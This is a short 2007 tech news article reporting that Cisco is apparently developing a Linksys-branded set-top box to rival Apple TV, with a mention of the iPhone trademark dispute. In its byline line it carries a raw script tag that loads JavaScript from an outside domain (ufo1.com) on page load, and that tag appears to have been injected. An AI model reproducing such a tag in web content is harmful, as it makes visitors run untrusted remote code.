Cisco to Release Apple TV Competitor? Page: 1
News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 13/01/07
Author: MikeEnIke
Source: Daily Tech

Cisco Systems

It is reported that Cisco Systems is working on a device that is to battle the AppleTV, which was released at MacWorld a few days ago. Cisco and Apple are already in a legal dispute of the name of the new Apple mobile smartphone, the "iPhone" which was trademarked by Cisco, however it seems as if Apple may be able to win the case due to the argument that Cisco no longer has rights to the trademark. Cisco is going for the throat of Apple with this new device which was not shown of at the Consumer Electronics Show but was reportedly shown to a select few in a suite of the Bellagio Hotel in Las Vegas, Nevada.

The device is able to serve and sync to content much in the same manner as Apple TV. Pictures, movies, music and other information were shown to be either streaming to the Cisco device or already stored on the device. Cisco representatives did mention that its set-top box will be able to pull content from Wi-Fi enabled mobile phones. No details were actually revealed about the device's technical specifications such as on board local storage capabilities. It was evident though that the device would be released as a Linksys branded product when it ships.

This device is reported to be planned to ship by the end of the year, and it may well be able to play not only movies from a wireless desktop or laptop, but DVDs as well. Cisco may also take advantage of a next gen media format, whether it would be HD-DVD or Blu-Ray is unknown, or if it will use a next gen format it all is still up for grabs. Cisco has room to improve on the AppleTV in format, functionality, and even features, especially considering that the AppleTV is only able to stream media in 720p resolution.

Is this device an AppleTV killer or simply a wannabe? Tell us how you feel about it in the forums...